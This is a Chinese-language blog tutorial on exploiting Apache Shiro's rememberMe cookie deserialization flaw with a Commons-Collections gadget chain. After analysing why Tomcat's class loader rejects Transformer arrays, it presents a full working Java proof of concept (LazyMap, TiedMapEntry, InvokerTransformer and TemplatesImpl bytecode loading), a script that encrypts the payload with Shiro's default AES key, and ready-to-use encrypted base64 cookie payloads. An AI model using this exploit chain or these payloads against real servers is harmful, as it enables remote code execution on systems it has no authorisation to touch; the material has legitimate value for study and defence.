shiro反序列化打CC依赖

GTL-JU Lv3

shiro反序列化打CC依赖

一、前言

在前面分析shiro反序列化漏洞原理的时候,我们是使用了URLDNS这条利用链进行了测试,最终成功解析了DNS地址,验证了shiro的反序列化漏洞。但是URLDNS这条利用链只能验证存在反序列化漏洞,不能造成真正的危害。这个时候我们想到了前面分析的CC链,我们能不能尝试打CC链进行命令执行。

我们这里本地验证一下:

这里尝试打一下CC6

cc6payload:

1
zVixg0JBrpiK2dg9A/aZeWdUQCGx46J5SLDy3x32GzhsfFetU6DiMHur17+g/HNUx3UCcw1oVWa5ycOFfJjYnblZWDFz2bHW5LM98vMOg+cPOJMTeUFB/gT8clNJypWF1hg6Kj3geBSKPkfxwmIyXzPNQIHi8YGz03XP8LiklkW1ezRc716wbtsiNubB1qgMeRcPb8GDBlmEcjYJ8sL6MEikI46pPxr6BdYjU7L7dHzNj5N/+ESHmSW/ruNbT/6FQ+9jsJpnV+UoUn2/xwFPv9iRfk/XUxUIORpJd09dZVUuBoWKy016rdCfAA5JidiQxOLS9t3g3EFlpet3XoqPQWz0/mPSFnnGp2tYlPKrHAIuUq+6Z+8TzUBSu0rpPLfL+yfQ4OSyYv9xACLS2wiOxnKqnSr1r6dCJ6r1PfPGIbiUDODgWj482U16Liug5m01rkN9lq31BWcC8T3SkRVL3P5SqyxywYNZQ3fiTKwFIm/i1lAZZl5w/gn7PR7a9tcYKgLXiYdW6Y5giymxcApmkt6Pzm6eYCORLkE7FPqlWA4xm8TV4IiFPH+guaatt20WD+aNOACKv0ar6zBYLLlsst9W0b+gqDRSQeOeNaLqXbJxCwhiw4Vp6Ix96lEZDx+ba7UwCRVXI3jiYexCJha5kf4BfKkEVmDe7DxmNQ47HIS+Z8avHrvoOYtnwl1SlNHPIutCGGWm8nYkITLhfzArj/vNggLw8GuiN7Kd8VB006eV+TbzWKy5uF1S4HjsvfmV2yryvpODStHfpAT9r3Gtq7vFu3tF6FtZIWKfy8/t1f6idBVJCyG0O4J3ITD2r/e8llHeQhLC+pXTDFkYXBLAdt0OGJXEeFa688w/wbQPimqQHPjm7FI8NmfTP+x/tnnKdEjZyu+XqGml4mq2bsGoBDoebi6PrJ1G91Bu0qIyuLTfIr9f8ViJlK9MyR2laff5TK+mIP9PFnJLXxz25ZgJct9m8f7GOMO4O95EBcIFaungzcos5cad0Q721gMZFas8i2RybHLiYFlfZsRugTsPD/WxVSCnXJiBzn3F0GOYJYuapBkmw8eyJDgXAJF2fmzFxhzSx0VFgatHUWRNeaR+Rz9OOP+DjltqAad4U42O1OndlVbR1sPkij88IOz35aTx//Rn7PLgW8oOV813gxOcPREnLbkHLjda2Ih+dxfPHzYpT5WLqA0dmlWDoAp838wGqw2dndj4hLz6wWtMEqWrsWBiqZEho/x1vaZVnjkJvY2CZz9LA3Fl2FKDbkTRgsyUm1C3HDxg8R+7LkREzVi/5DhnRioDPbrRmgqj7vjtpUIJZttuStkcDlndd1QKy3aGoLCYxwvoCPoB6nmtfKcYFppbd+F8JkqBR7aoXNPdyJdPwLzt8K3d3vMcVFrerVZJS8OLJC4E6NbCqi7abjOFw7QL2xL2VXECK2QA6nOUJ72nFgjHHXn0s1/FsIwKVd3LwT26PnT6RLMF4RpSdiYeo9TfytNiYkczgcIxihWRbEM+TDaZWBsoNtXj8GGx9BTEIQZquutgrnU9sLHeZdMC4A==

替换掉rememberMe的值

image-20231012093344169

image-20231017182018239

可以看到当我们将替换了rememberMe的请求包发送给服务器,在服务器的日志中出现了报错

我们从日志中可以看到这里是反序列化失败了,反序列化失败的原因是找不到Lorg.apache.commons.collections.Transformer这个类。

二、shiro无法正常打CC依赖分析

报错是在ObjectInputStream

我们在这里打一个断点

image-20231012100008545

重新发包,触发断点

跟进

image-20231012100123790

可以看到ClassResolvingObjectInputStream 继承了ObjectInputStream

继续向下面看

1
2
3
4
5
6
7
protected Class<?> resolveClass(ObjectStreamClass osc) throws IOException, ClassNotFoundException {
try {
return ClassUtils.forName(osc.getName());
} catch (UnknownClassException e) {
throw new ClassNotFoundException("Unable to load ObjectStreamClass [" + osc + "]: ", e);
}
}

可以看到ClassResolvingObjectInputStream 还重写了resolveClass方法

在ObjectInputStream类中原本的resolveClass方法是:

image-20231012104851581

在原本ObjectInputStrem中的返回的是Class.forName

但是在shiro重写的resolveClass方法中返回的却是ClassUtils.forName

这里跟进到ClassUtils.forName方法

到这里我们可以看到最终是使用loadClass来加载类

image-20231012145606453

在这里默认是使用的是THREAD_CL_ACCESSOR.loadClass来进行加载

如果加载不成功则会使用CLASS_CL_ACCESSOR.loadClass来进行加载

如果还是加载不成功则会使用SYSTEM_CL_ACCESSOR.loadClass来进行加载

THREAD_CL_ACCESSOR.loadClass返回当前线程上下面的ClassLoader

在Tomcat中间件中,返回的当前线程上下文的CLassLoader是ParallelWebappClassLoader

image-20231012145457072

image-20231013180035440

可以看到这里获取到的加载器是ParallelWebappClassLoader

调用了loadclass方法进行加载

我们这里跟进到WebappClassLoaderBase类

image-20231013180610932

我们可以看到webappCLassLoaderBase类继承于URLCLassLoader

loadclass是webappClassLoaderBase类加载的核心实现源码

其实到这里就是分析tomcat的类加载过程了

我们这里跟进到loadclass方法分析一下tomcat的类加载机制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// (0) Check our previously loaded local class cache
clazz = findLoadedClass0(name);
if (clazz != null) {
if (log.isDebugEnabled())
log.debug(" Returning class from cache");
if (resolve)
resolveClass(clazz);
return clazz;
}

// (0.1) Check our previously loaded class cache
clazz = findLoadedClass(name);
if (clazz != null) {
if (log.isDebugEnabled())
log.debug(" Returning class from cache");
if (resolve)
resolveClass(clazz);
return clazz;
}

根据loadclas的代码我们可以看到首先是调用 findLoadedClass0()方法检查之前加载的本地类缓存,即就是检查当前要加载的类是否已经被WebappClassLoader加载过。其实也就是从tomcat的缓存中找。

如果再本地类加载缓存中没有加载成功,则会调用findLoadedClass()方法检查系统类加载器的 cache 缓存中查找是否加载过。也就是从JDK缓存中找。

如果还是没有加载到

我们继续向下看

image-20231013191626160

可以看到这里调用getJavaseClassLoader()获取一个类加载器
其实这里使用的也就是我们再动态加载字节码中分析的双亲委派机制的中的ExtClassLoader 但是这里不同的是Tomcat 的 WebAppClassLoader 并没有先使用 AppClassLoader 来加载类,而是直接使用了 ExtClassLoader 来加载类。不过 ExtClassLoader 依然遵循双亲委派,它会使用 Bootstrap ClassLoader 来对类进行加载,保证了 Jre 里面的核心类不会被重复加载。比如在 Web 中加载一个 Object 类。WebAppClassLoader → ExtClassLoader → BootstrapClassLoader,这个加载链,就保证了 Object 不会被重复加载。

然后我们继续往下面分析,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
boolean delegateLoad = delegate || filter(name, true);

// (1) Delegate to our parent if requested
if (delegateLoad) {
if (log.isDebugEnabled())
log.debug(" Delegating to parent classloader1 " + parent);
try {
clazz = Class.forName(name, false, parent);
if (clazz != null) {
if (log.isDebugEnabled())
log.debug(" Loading class from parent");
if (resolve)
resolveClass(clazz);
return clazz;
}
} catch (ClassNotFoundException e) {
// Ignore
}
}

// (2) Search local repositories
if (log.isDebugEnabled())
log.debug(" Searching local repositories");
try {
clazz = findClass(name);
if (clazz != null) {
if (log.isDebugEnabled())
log.debug(" Loading class from local repository");
if (resolve)
resolveClass(clazz);
return clazz;
}
} catch (ClassNotFoundException e) {
// Ignore
}

// (3) Delegate to parent unconditionally
if (!delegateLoad) {
if (log.isDebugEnabled())
log.debug(" Delegating to parent classloader at end: " + parent);
try {
clazz = Class.forName(name, false, parent);
if (clazz != null) {
if (log.isDebugEnabled())
log.debug(" Loading class from parent");
if (resolve)
resolveClass(clazz);
return clazz;
}
} catch (ClassNotFoundException e) {
// Ignore
}
}
}

通过代码我们可以分析到,如果前面都没有加载到,通过filter()检查类是否在定义的名单范围内,如果在的话则遵循双亲委派机制,使用Class.forName()加载类。由于delegate默认为false,并且符合filter()检查的类比较少,所以可以认为Tomcat在实现大多数类的加载的时候并不遵循双亲委派机制,也就是一般会跳过这一步。

也就是说

1
boolean delegateLoad = delegate || filter(name, true);

的结果为真则会先调用父类加载器进行加载,走双亲委派模型,也就是调用 Class.forName,如果结果为false则不走双亲委派模型,先调用自己的类加载器也就是调用findclass,如果加载不到才会调用父类加载器。

我们这里跟进到filter分析一下判断机制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
protected boolean filter(String name, boolean isClassName) {

if (name == null)
return false;

char ch;
if (name.startsWith("javax")) {
/* 5 == length("javax") */
if (name.length() == 5) {
return false;
}
ch = name.charAt(5);
if (isClassName && ch == '.') {
/* 6 == length("javax.") */
if (name.startsWith("servlet.jsp.jstl.", 6)) {
return false;
}
if (name.startsWith("el.", 6) ||
name.startsWith("servlet.", 6) ||
name.startsWith("websocket.", 6) ||
name.startsWith("security.auth.message.", 6)) {
return true;
}
} else if (!isClassName && ch == '/') {
/* 6 == length("javax/") */
if (name.startsWith("servlet/jsp/jstl/", 6)) {
return false;
}
if (name.startsWith("el/", 6) ||
name.startsWith("servlet/", 6) ||
name.startsWith("websocket/", 6) ||
name.startsWith("security/auth/message/", 6)) {
return true;
}
}
} else if (name.startsWith("org")) {
/* 3 == length("org") */
if (name.length() == 3) {
return false;
}
ch = name.charAt(3);
if (isClassName && ch == '.') {
/* 4 == length("org.") */
if (name.startsWith("apache.", 4)) {
/* 11 == length("org.apache.") */
if (name.startsWith("tomcat.jdbc.", 11)) {
return false;
}
if (name.startsWith("el.", 11) ||
name.startsWith("catalina.", 11) ||
name.startsWith("jasper.", 11) ||
name.startsWith("juli.", 11) ||
name.startsWith("tomcat.", 11) ||
name.startsWith("naming.", 11) ||
name.startsWith("coyote.", 11)) {
return true;
}
}
} else if (!isClassName && ch == '/') {
/* 4 == length("org/") */
if (name.startsWith("apache/", 4)) {
/* 11 == length("org/apache/") */
if (name.startsWith("tomcat/jdbc/", 11)) {
return false;
}
if (name.startsWith("el/", 11) ||
name.startsWith("catalina/", 11) ||
name.startsWith("jasper/", 11) ||
name.startsWith("juli/", 11) ||
name.startsWith("tomcat/", 11) ||
name.startsWith("naming/", 11) ||
name.startsWith("coyote/", 11)) {
return true;
}
}
}
}
return false;
}

然后这里根据分析代码和网上一些师傅的文章

如果这里不是tomcat自己的lib或者classes类的话是可以加载成功的,也就是返回结果为真,调用Class.forName进行加载

image-20231013194754937

但是我们要加载的commons-collections类明显是在tomcat下面的web-INF lib下面也就是用webappclassloader进行加载

所以这里 filter返回的结果是为假的

所以也就是说这里是不走双亲委派机制的,先调用自己的类加载器,也就是调用findclass进行加载,然后在调用父类的class.forname进行加载。

所以这里也就是调用findclass进行加载

我们这里跟进到findclass分析一些:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
public Class<?> findClass(String name) throws ClassNotFoundException {

if (log.isDebugEnabled())
log.debug(" findClass(" + name + ")");

checkStateForClassLoading(name);

// (1) Permission to define this class when using a SecurityManager
if (securityManager != null) {
int i = name.lastIndexOf('.');
if (i >= 0) {
try {
if (log.isTraceEnabled())
log.trace(" securityManager.checkPackageDefinition");
securityManager.checkPackageDefinition(name.substring(0,i));
} catch (Exception se) {
if (log.isTraceEnabled())
log.trace(" -->Exception-->ClassNotFoundException", se);
throw new ClassNotFoundException(name, se);
}
}
}

// Ask our superclass to locate this class, if possible
// (throws ClassNotFoundException if it is not found)
Class<?> clazz = null;
try {
if (log.isTraceEnabled())
log.trace(" findClassInternal(" + name + ")");
try {
if (securityManager != null) {
PrivilegedAction<Class<?>> dp =
new PrivilegedFindClassByName(name);
clazz = AccessController.doPrivileged(dp);
} else {
clazz = findClassInternal(name);
}
} catch(AccessControlException ace) {
log.warn(sm.getString("webappClassLoader.securityException", name,
ace.getMessage()), ace);
throw new ClassNotFoundException(name, ace);
} catch (RuntimeException e) {
if (log.isTraceEnabled())
log.trace(" -->RuntimeException Rethrown", e);
throw e;
}
if ((clazz == null) && hasExternalRepositories) {
try {
clazz = super.findClass(name);
} catch(AccessControlException ace) {
log.warn(sm.getString("webappClassLoader.securityException", name,
ace.getMessage()), ace);
throw new ClassNotFoundException(name, ace);
} catch (RuntimeException e) {
if (log.isTraceEnabled())
log.trace(" -->RuntimeException Rethrown", e);
throw e;
}
}
if (clazz == null) {
if (log.isDebugEnabled())
log.debug(" --> Returning ClassNotFoundException");
throw new ClassNotFoundException(name);
}
} catch (ClassNotFoundException e) {
if (log.isTraceEnabled())
log.trace(" --> Passing on ClassNotFoundException");
throw e;
}

// Return the class we have located
if (log.isTraceEnabled())
log.debug(" Returning class " + clazz);

if (log.isTraceEnabled()) {
ClassLoader cl;
if (Globals.IS_SECURITY_ENABLED){
cl = AccessController.doPrivileged(
new PrivilegedGetClassLoader(clazz));
} else {
cl = clazz.getClassLoader();
}
log.debug(" Loaded by " + cl.toString());
}
return clazz;

}

我们对上面的代码进行分析可以知道调用findClassInternal(name)这是自定义类加载器的一个内部方法,尝试查找和加载指定名称的类。其实也就是调用自己的类加载方法进行加载。

如果前面无法加载类,代码会尝试通过 super.findClass(name) 来委托给父类加载器加载类。这也是为了确保加载的一致性,符合类加载的双亲委派模型。

我们这里跟进到findClassInternal(name)方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
protected Class<?> findClassInternal(String name) {

checkStateForResourceLoading(name);

if (name == null) {
return null;
}
String path = binaryNameToPath(name, true);

ResourceEntry entry = resourceEntries.get(path);
WebResource resource = null;

if (entry == null) {
resource = resources.getClassLoaderResource(path);

if (!resource.exists()) {
return null;
}

entry = new ResourceEntry();
entry.lastModified = resource.getLastModified();

// Add the entry in the local resource repository
synchronized (resourceEntries) {
// Ensures that all the threads which may be in a race to load
// a particular class all end up with the same ResourceEntry
// instance
ResourceEntry entry2 = resourceEntries.get(path);
if (entry2 == null) {
resourceEntries.put(path, entry);
} else {
entry = entry2;
}
}
}

Class<?> clazz = entry.loadedClass;
if (clazz != null)
return clazz;

synchronized (getClassLoadingLock(name)) {
clazz = entry.loadedClass;
if (clazz != null)
return clazz;

if (resource == null) {
resource = resources.getClassLoaderResource(path);
}

if (!resource.exists()) {
return null;
}

byte[] binaryContent = resource.getContent();
if (binaryContent == null) {
// Something went wrong reading the class bytes (and will have
// been logged at debug level).
return null;
}
Manifest manifest = resource.getManifest();
URL codeBase = resource.getCodeBase();
Certificate[] certificates = resource.getCertificates();

if (transformers.size() > 0) {
// If the resource is a class just being loaded, decorate it
// with any attached transformers

// Ignore leading '/' and trailing CLASS_FILE_SUFFIX
// Should be cheaper than replacing '.' by '/' in class name.
String internalName = path.substring(1, path.length() - CLASS_FILE_SUFFIX.length());

for (ClassFileTransformer transformer : this.transformers) {
try {
byte[] transformed = transformer.transform(
this, internalName, null, null, binaryContent);
if (transformed != null) {
binaryContent = transformed;
}
} catch (IllegalClassFormatException e) {
log.error(sm.getString("webappClassLoader.transformError", name), e);
return null;
}
}
}

// Looking up the package
String packageName = null;
int pos = name.lastIndexOf('.');
if (pos != -1)
packageName = name.substring(0, pos);

Package pkg = null;

if (packageName != null) {
pkg = getPackage(packageName);
// Define the package (if null)
if (pkg == null) {
try {
if (manifest == null) {
definePackage(packageName, null, null, null, null, null, null, null);
} else {
definePackage(packageName, manifest, codeBase);
}
} catch (IllegalArgumentException e) {
// Ignore: normal error due to dual definition of package
}
pkg = getPackage(packageName);
}
}

if (securityManager != null) {

// Checking sealing
if (pkg != null) {
boolean sealCheck = true;
if (pkg.isSealed()) {
sealCheck = pkg.isSealed(codeBase);
} else {
sealCheck = (manifest == null) || !isPackageSealed(packageName, manifest);
}
if (!sealCheck)
throw new SecurityException
("Sealing violation loading " + name + " : Package "
+ packageName + " is sealed.");
}

}

try {
clazz = defineClass(name, binaryContent, 0,
binaryContent.length, new CodeSource(codeBase, certificates));
} catch (UnsupportedClassVersionError ucve) {
throw new UnsupportedClassVersionError(
ucve.getLocalizedMessage() + " " +
sm.getString("webappClassLoader.wrongVersion",
name));
}
entry.loadedClass = clazz;
}

return clazz;
}

我们跟进调试一下

image-20231013212846905

可以看到在findClassInternal中会调用 binaryNameToPath()方法

1
2
String path = binaryNameToPath(name, true);:
代码将类名转换为一个路径,通常用于定位类文件的资源路径。这可能会涉及到将类名中的包名分隔符(".")替换为文件路径分隔符("/")。

那么binaryNameToPath()主要就是将类名转换为一个路径

我们跟进到这个方法里面看一下

image-20231013212804709

可以看到在转换的过程中,这个方法在原来的类名后面加了一个.class

那么最终查找的类的路径变为了/[Lorg/apache/commons/collections/Transformer;.class

但是我们可以看一下日志信息

image-20231013213313733

在我们日志中打印了我们要加载的类是/[Lorg/apache/commons/collections/Transformer;,但是在经过binaryNameToPath()方法转换后在末尾加了一个.class,这导致tomcat在调用自己的类加载器方法在web-INF进行查找加载的时候无法加载成功,因为根据binaryNameToPath转换的路径根本没有办法正常查找到类进行加载。

那么我们上面说了当tomcat自己的类加载器无法加载成功的时候,会调用父类加载器进行加载也就是class.forName,但是我们要加载类在tomcat的自己的类,也就是web-INF里面的类,这导致classforName是无法加载成功的。

这也就导致了shiro无法正常加载transform数组的原因。

那么根据我们上面的分析和对一些师傅文章的学习,我们大概可以得到一个结论如果反序列化流中包含非Java自身的数组,则会出现无法加载类的错误。关于这个结论我们根据上面的分析也就很好理解了。tomcat的类加载机制导致先调用自身的类加载器进行加载,也就是调用findclass,但是在binaryNameToPath()转换下在末尾添加了一个.class,导致类加载器在web—INF中加载不到。但是如果是java自身数组,也就是jdk里面的,那么可以通过classforname也就是通过classloader进行加载,这样是可以正常加载的。

三、CC链改装

上面我们分析了shiro为什么无法正常打CC依赖的原因,也就是使用了transform数组,那我们想要正常的打cc依赖,就要在构造POC的时候不使用transform数组。那我们就需要改装我们的CC链:

那我们这里的最终目的就是构造一个不需要使用transform数组的利用链,我们这里先看一下我们前面分析的几条CC链:

image-20231017163330119

根据上面这个利用链图我们可以知道最终执行命令的就两种方法,一种是直接runtime进行命令执行,另一种就是动态加载字节码

但是如果我们要使用runtime进行命令执行的话,在我们前面分析的几条链中,都会使用到invokertransfrom,那这样必然会用到transform数组。

所以我们这里可以使用动态加载字节码来来进行利用:

那我们这里先回忆一下利用TemplatesIMPI加载字节码的利用链:

1
2
3
4
TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() ->
TemplatesImpl#defineTransletClasses()->
TransletClassLoader#defineClass()

然后我们这里CC2中是通invokerTransformer的transform方法去调用TemplatesImpl的newTransform方法进而调用后续利用链

事实上我们在前面分析的CC2的第二条链中就是没有使用到transform数组。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;

import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CC22 {
public static void main(String[] args) throws Exception {
System.setProperty("org.apache.commons.collections.enableUnsafeSerialization", "true");
Templates templates = new TemplatesImpl();
byte[] code = Files.readAllBytes(Paths.get("D:\\MAVEN\\maven-repository\\cc6\\cc61\\src\\main\\java\\leijiazai\\HelloTemplatesImpl.class"));
byte[][] codes = {code};
setFieldValue(templates, "_bytecodes", codes);
setFieldValue(templates,"_name","111");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
InvokerTransformer invokerTransformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
TransformingComparator transformingComparator =new TransformingComparator(new ConstantTransformer(1));
PriorityQueue priorityQueue=new PriorityQueue(transformingComparator);
priorityQueue.add(templates);
priorityQueue.add(templates);
Class c= transformingComparator.getClass();
Field transformField=c.getDeclaredField("transformer");
transformField.setAccessible(true);
transformField.set(transformingComparator,invokerTransformer);

serializable(priorityQueue);
unserializable();



}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);

}
public static void serializable(Object obj) throws Exception {
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.bin"));
out.writeObject(obj);
}

// 反序列化
public static void unserializable() throws Exception {
ObjectInputStream out = new ObjectInputStream(new FileInputStream("ser.bin"));
out.readObject();
}
}

但是用到了TransformingComparator,但是TransformingComparator在cc4.0中继承了序列化接口,但是在cc3.2.1中是没有继承的导致在CC3.2.1中不能序列化,那我们就不能在这里打这条链。

但是根据上面的利用链图我们可以看到除了TransformingComparator调用invoker的transform方法,就只有chaintranformer方法,但是明显这个是不能使用的,因为我们这里使用chaintransformer就会用到transform方法。

那我们这里就要使用其他的类去调用到transform方法

然后我们这里可以想到在CommonsCollections6中用到了一个类TiedMapEntry,我们使用他的getvalue方法去触发Lazymap的get方法

我们这里先看一下Lazymap的get方法:

1
2
3
4
5
6
7
8
9
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

我们可以看到在Lazymap的get方法中调用了transform,那么如果这里factory是可控的,我们只用将factory复制为invokertransform类,然后就可以触发transform方法,进而触发后续利用类进行动态类加载字节码。

但是这个前提是factory是可控的,在我们前面在CC6的分析中我们知道这个factory是可控的

我们这里简单回顾一下:

image-20231017173312082

可以看到Lazymap的构造方法是一个受保护的方法

我们不能直接调用,但是我们在一个静态方法decorate返回了lazymap的构造方法

image-20231017173734152

那么我们可以看到这个factory的值也是可控的

我们只需要调用decorate方法就可以控制factory变量的值了

其实这里就和CC6一样了

然后再通过TiedMapEntry的getvalue方法触发lazymap的get方法

后面的就是CC6的东西了,使用hashmap或者hashset方法触发TiedMapEntry的hashcode方法进而触发getvalue方法进而触发后续利用链。

那我们这里就可以编写POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class ccshiro {
public static void main(String[] args) throws Exception {
System.setProperty("org.apache.commons.collections.enableUnsafeSerialization", "true");
Templates templates = new TemplatesImpl();
byte[] code = Files.readAllBytes(Paths.get("D:\\MAVEN\\maven-repository\\cc6\\cc61\\src\\main\\java\\leijiazai\\HelloTemplatesImpl.class"));
byte[][] codes = {code};
setFieldValue(templates, "_bytecodes", codes);
setFieldValue(templates,"_name","111");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
InvokerTransformer invokerTransformer=new InvokerTransformer("newTransformer",null,null);
Map hashMap = new HashMap();
Map lazymap = LazyMap.decorate(hashMap, new ConstantTransformer(1));

TiedMapEntry tme = new TiedMapEntry(lazymap, templates);

Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
lazymap.remove(templates);

Class c= LazyMap.class;
Field factoryField=c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazymap,invokerTransformer);

serializable(expMap);
unserializable();

}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);

}
public static void serializable(Object obj) throws Exception {
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser5.bin"));
out.writeObject(obj);
}

// 反序列化
public static void unserializable() throws Exception {
ObjectInputStream out = new ObjectInputStream(new FileInputStream("ser5.bin"));
out.readObject();
}


}

本地运行:

image-20231017180126001

成功执行。

然后我们就可以测试在shiro框架上面打这条CC链子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.codec.CodecSupport;
import org.apache.shiro.util.ByteSource;
import org.apache.shiro.codec.Base64;
import org.apache.shiro.io.DefaultSerializer;

import java.nio.file.FileSystems;
import java.nio.file.Files;
import java.nio.file.Paths;

public class test{
public static void main(String[] args) throws Exception {
byte[] payloads = Files.readAllBytes(FileSystems.getDefault().getPath("ser5.bin"));

AesCipherService aes = new AesCipherService();
byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));

ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.printf(ciphertext.toString());
}
}

还是先固定key加密一下

image-20231017180252466

paylaod:

1
iIZu+Zfs8MLUKnAu+J+5NrCi5Rmalir0ms2E7+ZNzaoQ55upkJnA7y/lFKnXEdGBG2Zc7PqrxcYbkYOelNBzVgXi99kMGGrWTrtWA+kQyirTw3EK71JOZWtnF+T+NDPe6XfBngyWtIAwX8y3Vdqw2UKYO7u2ojhr4d/ZEE5OFGi7mhGQXa0nTxlKZka9147mrS8s1S466Lcet7LBmPI8SL2BPNMueHKEgxhrJJxyI7NypK+8BCPRpBKQFYX49a0dzsZA5MU3+909hP4mXdj7uz/+d/eFCZTulWnH5MY4uvI51Voms4e1wVCFuk9s7X4JRq10VcweJ9mlQhKhFdz1pacaKcsOABoTlpfm7qYowbJN2HhXKka7kqj63YLlnUIdDUn09xUvQAMhSy17tSttrIQfEd+EMNnet8Dz+1ySdBBd2ee8o+DsnIwtgBiMXHYEFxCfhXNFCzemDX9k5rAh7qR9ThuSRs+jk/6NWLnzyphOQvCY8/ZTiDjTQS4SFNbSfVmHCXA295UjmDa8sNF1XjumiLRzxek8wK/i/7V3jze7fiiBI8+VtY4785cUp03S0vNRJmzJN/JJ0mM8c2QUOG5YZ9vBKLErxWFnoXQmoyfWcmPD1XMiI0ZRQqYmlCZGlFFeFZbo6XQI9Z89g6GfLIyoWtS+5Ev+0xNNVItLrzRBb4eG2ZWBbPNlZlLyAvg6P6DBNUdROA0o5vwagnGVYGUcSORuqcwPeNshWY4Szh/AlzcpgXU74jjmTPA/2HieblwkarjKOjgUAat3A/R1MlbwP7z1RMQvy4zNoScoRvETeAN8AzKgIadKYpLXytBOdDcNZIujfGhnQvRfmMnlBzVoUnaykQQsfjURagZDTEd0G++0VEiP/8aEcAIy3aAh0KHDdiqkBq++CZiB8bIaLdqOoy+Q+YvYZwderp5nEDRCHuOHF5xWeZZzbG30+OOtHxF8RlfrfPmiY67CTK8t7ypC8XJyYyM2beRerRTps6nqnCjEJ9BdMCjUsYe3Z764kVDB3sINCH5+/NEY63D5iAywAoDYbxr6xBXNnkWr4rzunedYStMrrZYuuQz2kLxTrMRplWxiHtouImI1o252+gmx16xXfJFZx+fSjnBO4Cl2hVWVZyoYxO0DNc4eNTsZKDCeVNDGBpDPMVH6QqaN8x1E52Zc/WOQgjSdwPFeRZwU12S48qhoniBkqBzz5RFgKgWqlnucYewzA1qey03EHeGhw5AmTmaNOZI+k9hJV3Da9OaFREHgENKmjF35TeQD9HPTL1NZpHXq0EcH5TZrIgCmhKw5NIDfJksp6Vszdr+bJhQrzCc8wroRObof5Z5y9jFWviOHjJyDsZCAWURYKBBA4FkA34OVjmJgWG2a1vslwa/0/mSFRVWI2duNKcHA4pxeaf5vGRmK8Cc2Nb1Fpl5TgXCbuyy/1uDFdKPkozHkgoXjfGjsrnk1TFUS6LurQ+M7AEXEEWi9x2dmgKBRwDCVB/apkv1zyZwBUY5b1BQmvXGXMDj76XRUpNyioinlJgid7We7BKRrrQAVYDdDAgVYRNsJGVLAdyFmijKWQlKam9Pn+QB6yqQTiwNKw1GBv45cyj63H4jK3eMxaG4Ct8FSYGBgR2LEmH4xoc2Ts7DVfksMBhOd1h/9EETX/8NLsSBzpoyGvek8XcnJKUGFQeeRCr2UpqzdggM6drZ2CVJcl7jK5r8J2pyrz2xaYmdx